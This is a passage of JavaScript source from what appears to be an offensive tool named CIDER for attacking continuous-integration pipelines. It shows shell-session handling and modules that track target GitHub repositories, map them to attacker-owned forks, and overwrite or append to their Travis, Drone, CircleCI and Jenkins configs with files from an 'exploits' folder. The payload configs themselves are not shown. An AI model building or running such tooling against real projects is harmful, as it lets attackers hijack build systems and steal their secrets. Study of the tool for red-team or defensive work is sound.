rs.prompt(); 109 | rs.on('line', (line) => { 110 | const d = line.toString('utf8').trim(); 111 | rs.pause(); 112 | switch (d) { 113 | case 'back': 114 | rs.close(); 115 | log(chalk.blue("Jumping out of shell, back to sessions menu...")); 116 | process.stdin.unpipe(duplexIn); 117 | duplexOut.unpipe(process.stdout); 118 | return callback(); 119 | break; 120 | default: 121 | rs.prompt(); 122 | break; 123 | } 124 | }); 125 | } 126 | 127 | function listSessions() { 128 | log(chalk.cyan("------------\n Sessions \n------------")); 129 | for (let s in global.shells_arr) { 130 | log(`${global.session_name_arr[s]}`); 131 | } 132 | return; 133 | } 134 | 135 | function isSession(name) { 136 | for (let s in global.session_name_arr) { 137 | if (global.session_name_arr[s] == name) { 138 | return true; 139 | } 140 | } 141 | return false; 142 | } 143 | 144 | function printSessionHelp() { 145 | clear(); 146 | log("\n------------------\n Sessions Help \n------------------\n"); 147 | log(chalk.cyan(' help') + chalk.gray('\t\t\t => Prints help menu for Sessions')); 148 | log(chalk.cyan(' back') + chalk.gray('\t\t\t => Returns to the main CIDER prompt. Also exits out of a shell if in one')); 149 | log(chalk.cyan(' list') + chalk.gray('\t\t\t => Lists existing shells')); 150 | log(chalk.cyan(' select [SESSION_NAME]') + chalk.gray('\t => Selects an loads the session to jump into\n')); 151 | 152 | } 153 | 154 | //Module exports 155 | module.exports = { 156 | sessionPrompt: sessionPrompt 157 | } -------------------------------------------------------------------------------- /src/lib/targets.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | readline = require('readline'), 3 | fs = require('fs'), 4 | chalk = require('chalk'), 5 | red = chalk.red, 6 | files = require(__dirname + '/files'), 7 | targetlist = __dirname + '/../../configs/repos', 8 | repodir = __dirname + '/../../repos', 9 | clear = require('clear'); 10 | 11 | module.exports = { 12 | // print all repositories in current target list 13 | printTargets: (callback) => { 14 | const rd = readline.createInterface({ 15 | input: fs.createReadStream(targetlist) 16 | }); 17 | 18 | clear(); 19 | log(chalk.cyan("-----------------", "\n GitHub Targets", "\n-----------------")); 20 | rd.on('line', (line) => { 21 | log(chalk.white(`${line}`)); 22 | }).on('close', () => { 23 | return callback(); 24 | }); 25 | }, 26 | 27 | /* Returns an array of targets in targetlist */ 28 | getTargetArray: (callback) => { 29 | const rd = readline.createInterface({ 30 | input: fs.createReadStream(targetlist) 31 | }); 32 | let tarr = []; 33 | rd.on('line', (line) => { 34 | if (line.includes('/')) { 35 | tarr.push(line); 36 | } 37 | }).on('close', () => { 38 | return callback(tarr); 39 | }); 40 | 41 | }, 42 | 43 | 44 | /* Returns an array of targets of a certain type (eg. travis, drone, etc.) */ 45 | getTargetType: (type, callback) => { 46 | let f, 47 | typearr = []; 48 | switch (type) { 49 | case 'travis': 50 | f = ".travis.yml"; 51 | break; 52 | case 'drone': 53 | f = ".drone.yml" 54 | break; 55 | case 'jenkins': 56 | f = "Jenkinsfile" 57 | break; 58 | default: 59 | return callback(); 60 | } 61 | module.exports.getTargetArray((arr) => { 62 | for (let line in arr) { 63 | if (files.fileExists(`${repodir}/${arr[line]}/${f}`)) { 64 | typearr.push(arr[line]); 65 | } 66 | } 67 | return callback(typearr); 68 | }); 69 | }, 70 | 71 | /* Returns two arrays 72 | 1.) The first being an array of targets 73 | 2.) The 2nd being an array of forked targets (basically the owner name switched to attackers) 74 | */ 75 | getForkedTargetArray: (username, callback) => { 76 | const rd = readline.createInterface({ 77 | input: fs.createReadStream(targetlist) 78 | }); 79 | let ftarr = [], 80 | tarr = []; 81 | rd.on('line', (line) => { 82 | if (line.includes('/')) { 83 | let rarr = line.split('/'); 84 | tarr.push(line); 85 | ftarr.push(`${username}/${rarr[1]}`); 86 | } 87 | }).on('close', () => { 88 | return callback(tarr, ftarr); 89 | }); 90 | 91 | }, 92 | 93 | 94 | /* Returns two arrays 95 | 1.) The first of targets of a certain type (eg. travis, drone, etc.) */ 96 | getForkedTargetType: (type, username, fork_type, callback) => { 97 | 98 | let f, 99 | typearr = [], 100 | ftypearr = []; 101 | switch (type) { 102 | case 'travis': 103 | f = ".travis.yml"; 104 | break; 105 | case 'drone': 106 | f = ".drone.yml"; 107 | break; 108 | case 'circle': 109 | f = ".circleci/config.yml"; 110 | break; 111 | case 'jenkins': 112 | f = "Jenkinsfile"; 113 | break; 114 | default: 115 | log(red(`Fork Target Type ${type} not found`)); 116 | return callback(); 117 | } 118 | module.exports.getForkedTargetArray(username, (tarr, ftarr) => { 119 | for (let line in ftarr) { 120 | if(fork_type == 'forked'){ 121 | if (files.fileExists(`${repodir}/${ftarr[line]}/${f}`)) { 122 | typearr.push(tarr[line]); 123 | ftypearr.push(ftarr[line]); 124 | } 125 | } 126 | else{ 127 | if (files.fileExists(`${repodir}/${tarr[line]}/${f}`)) { 128 | typearr.push(tarr[line]); 129 | ftypearr.push(ftarr[line]); 130 | } 131 | } 132 | } 133 | return callback(typearr, ftypearr); 134 | }); 135 | }, 136 | 137 | addTarget: (target, callback) => { 138 | if (target.includes("/")) { 139 | fs.readFile(targetlist, 'utf8', (err, data) => { 140 | if (err) { 141 | log(chalk.red(err)); 142 | } 143 | let lines = []; 144 | if(data.length === 0) { 145 | lines.push(`${target}`); 146 | } 147 | else { 148 | lines = data.split('\n'); 149 | lines.push(`${target}`); 150 | } 151 | fs.writeFile(targetlist, lines.join('\n'), () => { 152 | return callback(); 153 | }); 154 | }); 155 | } 156 | else { 157 | log(chalk.red("Invalid target. Target repos must be in the format 'owner/reponame'")); 158 | return callback(); 159 | } 160 | 161 | }, 162 | 163 | removeTarget: (target, callback) => { 164 | fs.readFile(targetlist, 'utf8', function (err, data) { 165 | if (err) { 166 | log(chalk.red(err)); 167 | return callback(); 168 | } 169 | const lines = data.split('\n'), 170 | index = lines.indexOf(target); 171 | if (index != -1) { 172 | lines.splice(index, 1); 173 | fs.writeFile(targetlist, lines.join('\n'), () => { 174 | return callback(); 175 | }); 176 | } 177 | else { 178 | log(chalk.red(`Target ${target}not found`)); 179 | return callback(); 180 | } 181 | 182 | }); 183 | }, 184 | getNumTargets: () => { 185 | let lines = fs.readFileSync(targetlist, 'utf8').split('\n'), 186 | count = 0; 187 | for (let x in lines) { 188 | if (lines[x].includes("/")) { 189 | count++; 190 | } 191 | } 192 | return count; 193 | }, 194 | 195 | isTarget: (target) => { 196 | let lines = fs.readFileSync(targetlist, 'utf8').split('\n'), 197 | count = 0; 198 | for (let x in lines) { 199 | if (target == lines[x] && target.includes("/")) { 200 | return true; 201 | } 202 | } 203 | log(chalk.red("Invalid. Session does not exist or is not a valid session name.")); 204 | return false; 205 | } 206 | } -------------------------------------------------------------------------------- /src/modules/circle.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | readline = require('readline'), 4 | repodir = __dirname + '/../../repos', 5 | exdir = __dirname + '/../exploits', 6 | repolist = __dirname + '/../../configs/repos', 7 | files = require(__dirname + '/../lib/files'), 8 | targets = require(__dirname + '/../lib/targets'), 9 | fs = require('fs'); 10 | 11 | module.exports = { 12 | 13 | // Checks checks repo to see if it contains Circle-ci content 14 | isCircleRepo: (reponame) => { 15 | return fs.existsSync(`${repodir}/${reponame}/.circleci/config.yml`); 16 | }, 17 | 18 | //Loads an exploit into said repo 19 | loadCircleConfig: (exploit, authed_user, repo_name, callback) => { 20 | if (module.exports.isCircleRepo(repo_name)) { 21 | fs.createReadStream(`${exdir}/${exploit}/config.yml`).pipe(fs.createWriteStream(`${repodir}/${repo_name}/.circleci/config.yml`).on('close', () => { 22 | log(chalk.green(`Circle config for ${repo_name} successfully overwritten`)); 23 | return callback(); 24 | })); 25 | } 26 | else { 27 | log(chalk.yellow(`Tried to load ${exploit}, but ${repo_name} does not appear to be a Circle-Repository`)); 28 | return callback(); 29 | } 30 | }, 31 | 32 | loadCircleConfigAll: (exploit, authed_user, circle_targets, callback) => { 33 | const promises = []; 34 | for(let target in circle_targets) { 35 | promises.push(new Promise((resolve, reject) => { 36 | module.exports.loadCircleConfig(exploit, authed_user, circle_targets[target], () => { 37 | resolve(); 38 | }); 39 | })); 40 | } 41 | Promise.all(promises) 42 | .then(c => { 43 | return callback(); 44 | }).catch(e => { 45 | log(chalk.red(`ERROR with function loadCircleConfigAll: ... ${e}`)); 46 | return callback(); 47 | }); 48 | }, 49 | 50 | //Get a list of cloned repos that contain .circle.yml files 51 | getForkedCircleRepos: (callback) => { 52 | const flist = files.walkSync(repodir), 53 | tlist = []; 54 | flist.forEach((item) => { 55 | if (item.includes(".circleci/config.yml") && !item.includes("node_modules")) { 56 | tlist.push(item); 57 | } 58 | }); 59 | return callback(tlist); 60 | }, 61 | 62 | //Append line to circle config 63 | appendCircleConfig: (file, line) => { 64 | fs.appendFileSync(file, line, 'utf-8'); 65 | }, 66 | 67 | appendCircleConfigAll: (line, callback) => { 68 | const flist = files.walkSync(repodir), 69 | promises = []; 70 | for (let f in flist) { 71 | if (flist[f].includes('.circleci/config.yml')) { 72 | promises.push(new Promise((resolve, reject) => { 73 | module.exports.appendCircleConfig(flist[f], line, () => { 74 | resolve(); 75 | }); 76 | }).catch(err => { 77 | log(err); 78 | })); 79 | } 80 | } 81 | //.on('close', () => { 82 | Promise.all(promises) 83 | .then(c => { 84 | return callback(); 85 | }).catch(e => { 86 | log(chalk.red(`ERROR with function appendCircleConfigAll: ... ${e}`)); 87 | return callback(); 88 | }); 89 | } 90 | } -------------------------------------------------------------------------------- /src/modules/drone.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | readline = require('readline'), 4 | repodir = __dirname + '/../../repos', 5 | exdir = __dirname + '/../exploits', 6 | repolist = __dirname + '/../../configs/repos', 7 | files = require(__dirname + '/../lib/files'), 8 | targets = require(__dirname + '/../lib/targets'), 9 | fs = require('fs'); 10 | 11 | module.exports = { 12 | 13 | // Checks checks repo to see if it contains Drone-ci content 14 | isDroneRepo: (reponame) => { 15 | return fs.existsSync(`${repodir}/${reponame}/.drone.yml`); 16 | }, 17 | 18 | //Loads an exploit into said repo 19 | loadDroneConfig: (exploit, authed_user, repo_name, callback) => { 20 | if (module.exports.isDroneRepo(repo_name)) { 21 | fs.createReadStream(`${exdir}/${exploit}/.drone.yml`).pipe(fs.createWriteStream(`${repodir}/${repo_name}/.drone.yml`).on('close', () => { 22 | log(chalk.green(`Drone config for ${repo_name} successfully overwritten`)); 23 | return callback(); 24 | })); 25 | } 26 | else { 27 | log(chalk.yellow(`Tried to load ${exploit}, but ${repo_name} does not appear to be a Drone-Repository`)); 28 | return callback(); 29 | } 30 | }, 31 | 32 | loadDroneConfigAll: (exploit, authed_user, drone_targets, callback) => { 33 | const promises = []; 34 | for(let target in drone_targets) { 35 | promises.push(new Promise((resolve, reject) => { 36 | module.exports.loadDroneConfig(exploit, authed_user, drone_targets[target], () => { 37 | resolve(); 38 | }); 39 | })); 40 | } 41 | Promise.all(promises) 42 | .then(c => { 43 | return callback(); 44 | }).catch(e => { 45 | log(chalk.red(`ERROR with function loadDroneConfigAll: ... ${e}`)); 46 | return callback(); 47 | }); 48 | }, 49 | 50 | //Get a list of cloned repos that contain .drone.yml files 51 | getForkedDroneRepos: (callback) => { 52 | const flist = files.walkSync(repodir), 53 | tlist = []; 54 | flist.forEach((item) => { 55 | if (item.includes(".drone.yml") && !item.includes("node_modules")) { 56 | tlist.push(item); 57 | } 58 | }); 59 | return callback(tlist); 60 | }, 61 | 62 | //Append line to drone config 63 | appendDroneConfig: (file, line) => { 64 | fs.appendFileSync(file, line, 'utf-8'); 65 | }, 66 | 67 | appendDroneConfigAll: (line, callback) => { 68 | const flist = files.walkSync(repodir), 69 | promises = []; 70 | for (let f in flist) { 71 | if (flist[f].includes('.drone.yml')) { 72 | promises.push(new Promise((resolve, reject) => { 73 | module.exports.appendDroneConfig(flist[f], line, () => { 74 | resolve(); 75 | }); 76 | }).catch(err => { 77 | log(err); 78 | })); 79 | } 80 | } 81 | //.on('close', () => { 82 | Promise.all(promises) 83 | .then(c => { 84 | return callback(); 85 | }).catch(e => { 86 | log(chalk.red(`ERROR with function appendDroneConfigAll: ... ${e}`)); 87 | return callback(); 88 | }); 89 | } 90 | } -------------------------------------------------------------------------------- /src/modules/jenkins.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | readline = require('readline'), 4 | repodir = __dirname + '/../../repos', 5 | exdir = __dirname + '/../exploits', 6 | repolist = __dirname + '/../../configs/repos', 7 | files = require(__dirname + '/../lib/files'), 8 | targets = require(__dirname + '/../lib/targets'), 9 | fs = require('fs'); 10 | 11 | module.exports = { 12 | 13 | // Checks checks repo to see if it contains Jenkins-ci content 14 | isJenkinsRepo: (reponame) => { 15 | return fs.existsSync(`${repodir}/${reponame}/Jenkinsfile`); 16 | }, 17 | 18 | //Loads an exploit into said repo 19 | loadJenkinsConfig: (exploit, authed_user, repo_name, callback) => { 20 | if (module.exports.isJenkinsRepo(repo_name)) { 21 | fs.createReadStream(`${exdir}/${exploit}/Jenkinsfile`).pipe(fs.createWriteStream(`${repodir}/${repo_name}/Jenkinsfile`).on('close', () => { 22 | log(chalk.green(`Jenkins config for ${repo_name} successfully overwritten`)); 23 | return callback(); 24 | })); 25 | } 26 | else { 27 | log(chalk.yellow(`Tried to load ${exploit}, but ${repo_name} does not appear to be a Jenkins-Repository`)); 28 | return callback(); 29 | } 30 | }, 31 | 32 | loadJenkinsConfigAll: (exploit, authed_user, jenkins_targets, callback) => { 33 | const promises = []; 34 | for(let target in jenkins_targets) { 35 | promises.push(new Promise((resolve, reject) => { 36 | module.exports.loadJenkinsConfig(exploit, authed_user, jenkins_targets[target], () => { 37 | resolve(); 38 | }); 39 | })); 40 | } 41 | Promise.all(promises) 42 | .then(c => { 43 | return callback(); 44 | }).catch(e => { 45 | log(chalk.red(`ERROR with function loadJenkinsConfigAll: ... ${e}`)); 46 | return callback(); 47 | }); 48 | }, 49 | 50 | //Get a list of cloned repos that contain Jenkinsfile files 51 | getForkedJenkinsRepos: (callback) => { 52 | const flist = files.walkSync(repodir), 53 | tlist = []; 54 | flist.forEach((item) => { 55 | if (item.includes("Jenkinsfile") && !item.includes("node_modules")) { 56 | tlist.push(item); 57 | } 58 | }); 59 | return callback(tlist); 60 | }, 61 | 62 | //Append line to jenkins config 63 | appendJenkinsConfig: (file, line) => { 64 | fs.appendFileSync(file, line, 'utf-8'); 65 | }, 66 | 67 | appendJenkinsConfigAll: (line, callback) => { 68 | const flist = files.walkSync(repodir), 69 | promises = []; 70 | for (let f in flist) { 71 | if (flist[f].includes('Jenkinsfile')) { 72 | promises.push(new Promise((resolve, reject) => { 73 | module.exports.appendJenkinsConfig(flist[f], line, () => { 74 | resolve(); 75 | }); 76 | }).catch(err => { 77 | log(err); 78 | })); 79 | } 80 | } 81 | //.on('close', () => { 82 | Promise.all(promises) 83 | .then(c => { 84 | return callback(); 85 | }).catch(e => { 86 | log(chalk.red(`ERROR with function appendJenkinsConfigAll: ... ${e}`)); 87 | return callback(); 88 | }); 89 | } 90 | } -------------------------------------------------------------------------------- /src/modules/travis.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | readline = require('readline'), 4 | repodir = __dirname + '/../../repos', 5 | exdir = __dirname + '/../exploits', 6 | repolist = __dirname + '/../../configs/repos', 7 | files = require(__dirname + '/../lib/files'), 8 | targets = require(__dirname + '/../lib/targets'), 9 | fs = require('fs'); 10 | 11 | module.exports = { 12 | 13 | // Checks checks repo to see if it contains Travis-ci content 14 | isTravisRepo: (reponame) => { 15 | return fs.existsSync(`${repodir}/${reponame}/.travis.yml`); 16 | }, 17 | 18 | //Loads an exploit into said repo 19 | loadTravisConfig: (exploit, authed_user, repo_name, callback) => { 20 | if (module.exports.isTravisRepo(repo_name)) { 21 | fs.createReadStream(`${exdir}/${exploit}/.travis.yml`).pipe(fs.createWriteStream(`${repodir}/${repo_name}/.travis.yml`).on('close', () => { 22 | log(chalk.green(`Travis config for ${repo_name} successfully overwritten`)); 23 | return callback(); 24 | })); 25 | } 26 | else { 27 | log(chalk.yellow(`Tried to load ${exploit}, but ${repo_name} does not appear to be a Travis-Repository`)); 28 | return callback(); 29 | } 30 | }, 31 | 32 | loadTravisConfigAll: (exploit, authed_user, travis_targets, callback) => { 33 | const promises = []; 34 | for(let target in travis_targets) { 35 | promises.push(new Promise((resolve, reject) => { 36 | module.exports.loadTravisConfig(exploit, authed_user, travis_targets[target], () => { 37 | resolve(); 38 | }); 39 | })); 40 | } 41 | Promise.all(promises) 42 | .then(c => { 43 | return callback(); 44 | }).catch(e => { 45 | log(chalk.red(`ERROR with function loadTravisConfigAll: ... ${e}`)); 46 | return callback(); 47 | }); 48 | }, 49 | 50 | //Get a list of cloned repos that contain .travis.yml files 51 | getForkedTravisRepos: (callback) => { 52 | const flist = files.walkSync(repodir), 53 | tlist = []; 54 | flist.forEach((item) => { 55 | if (item.includes(".travis.yml") && !item.includes("node_modules")) { 56 | tlist.push(item); 57 | } 58 | }); 59 | return callback(tlist); 60 | }, 61 | 62 | //Append line to travis config 63 | appendTravisConfig: (file, line) => { 64 | fs.appendFileSync(file, line, 'utf-8'); 65 | }, 66 | 67 | appendTravisConfigAll: (line, callback) => { 68 | const flist = files.walkSync(repodir), 69 | promises = []; 70 | for (let f in flist) { 71 | if (flist[f].includes('.travis.yml')) { 72 | promises.push(new Promise((resolve, reject) => { 73 | module.exports.appendTravisConfig(flist[f], line, () => { 74 | resolve(); 75 | }); 76 | }).catch(err => { 77 | log(err); 78 | })); 79 | } 80 | } 81 | //.on('close', () => { 82 | Promise.all(promises) 83 | .then(c => { 84 | return callback(); 85 | }).catch(e => { 86 | log(chalk.red(`ERROR with function appendTravisConfigAll: ... ${e}`)); 87 | return callback(); 88 | }); 89 | } 90 | } --------------------------------------------------------------------------------